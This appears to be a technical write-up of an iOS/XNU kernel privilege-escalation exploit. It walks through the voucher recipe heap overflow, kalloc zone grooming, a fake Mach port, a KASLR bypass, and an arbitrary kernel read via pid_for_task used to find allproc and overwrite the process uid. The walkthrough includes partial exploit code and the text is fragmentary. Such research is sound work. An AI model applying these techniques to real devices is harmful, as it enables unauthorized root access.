// recipe_size is a pointer if (copyin(args->recipe_size, (void *)&sz, sizeof(sz))) return KERN_MEMORY_ERROR; // now the value of sz is *(args->recipe_size)
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE) return MIG_ARRAY_TOO_LARGE;
voucher = convert_port_name_to_voucher(args->voucher_name); if (voucher == IV_NULL) return MACH_SEND_INVALID_DEST;
mach_msg_type_number_t __assert_only max_sz = sz;
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) { /* keep small recipes on the stack for speed */ uint8_t krecipe[sz]; if (copyin(args->recipe, (void *)krecipe, sz)) { kr = KERN_MEMORY_ERROR; goto done; } kr = mach_voucher_extract_attr_recipe(voucher, args->key, (mach_voucher_attr_raw_recipe_t)krecipe, &sz); assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0) kr = copyout(krecipe, (void *)args->recipe, sz); } else { // krecipe is a pointer uint8_t *krecipe = kalloc((vm_size_t)sz); if (!krecipe) { kr = KERN_RESOURCE_SHORTAGE; goto done; }
// args->recipe_size is a pointer! A pointer is passed a length here, which cause a heap overflow. if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) { kfree(krecipe, (vm_size_t)sz); kr = KERN_MEMORY_ERROR; goto done; }
Luckily, args->recipe can be controlled in user mode, and copyout will stop when it meets an unmap memory. So we can also control the overflow length by umapping the memory.
for ( i = 0; i < count; i++) { mach_port_name_t name = names[i]; ipc_object_t object;
if (!MACH_PORT_VALID(name)) { objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name); continue; } } }
It will be cast to ipc_object_t, a pointer to ipc_object. So we can try to send many MACH_PORT_DEAD to kalloc.256 and overwrite them later and make it point to a fake ipc_object in user space.
Since iOS 9, Apple added random_free_to_zone() when calling zcram which will randomly insert element to the beginning or ending of free_elements. It will be called when try to expand the zone when zone is empty. So we need some trick to control the memory layout of kernel zone.
zalloc will call try_alloc_from_zone(called by zalloc_internal actually). It will return the first element in the free_list.
/* * Since the primary next pointer is xor'ed with zp_nopoison_cookie * for obfuscation, retrieve the original value back */ vm_offset_t next_element = *primary ^ zp_nopoison_cookie; vm_offset_t next_element_primary = *primary; vm_offset_t next_element_backup = *backup; // ... return element; }
And free_to_zone will add free element to the front of free_list
structucred { TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */ u_long cr_ref; /* reference count */ structposix_cred { /* * The credential hash depends on everything from this point on * (see kauth_cred_get_hashkey) */ uid_t cr_uid; /* effective user id */// offset: 0x18 uid_t cr_ruid; /* real user id */ uid_t cr_svuid; /* saved user id */ short cr_ngroups; /* number of groups in advisory list */ gid_t cr_groups[NGROUPS]; /* advisory group list */ gid_t cr_rgid; /* real group id */ gid_t cr_svgid; /* saved group id */ uid_t cr_gmuid; /* UID for group membership purposes */ int cr_flags; /* flags on credential */ } cr_posix; structlabel *cr_label;/* MAC label */ /* * NOTE: If anything else (besides the flags) * added after the label, you must change * kauth_cred_find(). */ structau_sessioncr_audit;/* user auditing data */ };
If we can set uid_t cr_uid to 0 then we can get root privilege. XNU kernel uses a link list called allproc to maintain the processes. So after getting kernel slide and get kernel memory rw we can easily overwrite our uid in allproc.
KASLR
We already have an ipc_port fully controlled by us. Take a look at the following routine.
/* * Call the actual clock_sleep routine. */ rvalue = clock_sleep_internal(clock, sleep_type, &swtime); // ... }
and clock_sleep_internal will return KERN_FAILURE when clock != &clock_list[SYSTEM_CLOCK].And port_name_to_clock returns port->ip_kobject; So we can find the address of clock_list by brute force search.
pid_for_task won’t check wether the task is valid or not, but simply return
1
*(*(uint64_t *)(task + 0x380) + 0x10)
Remember that we have a fake port already and we also have a mach_port_t points to that port we have. So we can achieve arbitrary kernel memory reading by using pid_for_task.
uint32_t proc = read_kernel(port, faketask, allproc + 0x10); // pid is located at the offset of 0x10 if (proc == getpid()) { self_proc = allproc; printf("[+] found self proc pid=%d addr=0x%llx\n", proc, self_proc); } elseif (proc == 0) { kernel_proc = allproc; printf("[+] found kernel proc pid=%d addr=0x%llx\n", proc, kernel_proc); } allproc = n; // next pointer is at the offset of 0
if (self_proc != 0 && kernel_proc != 0) break; }
Arbitrary kernel memory writing
After getting the address of kernel_proc, we can dump the whole task and task port sturcture to user land.